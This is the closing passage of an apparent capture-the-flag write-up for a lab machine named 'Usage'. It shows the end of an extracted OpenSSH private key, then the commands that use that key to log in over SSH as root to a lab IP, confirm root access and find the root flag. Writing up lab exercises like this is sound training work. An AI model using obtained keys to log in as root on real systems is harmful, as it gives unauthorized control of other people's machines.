-----END OPENSSH PRIVATE KEY-----

Connect to the target machine as root user via SSH:

❯ chmod 600 id_rsa_root

❯ ssh -i id_rsa_root root@10.10.11.18

<SNIP>
root@usage:~# whoami

root

and we can read the root flag at /root

~ Happy Hacking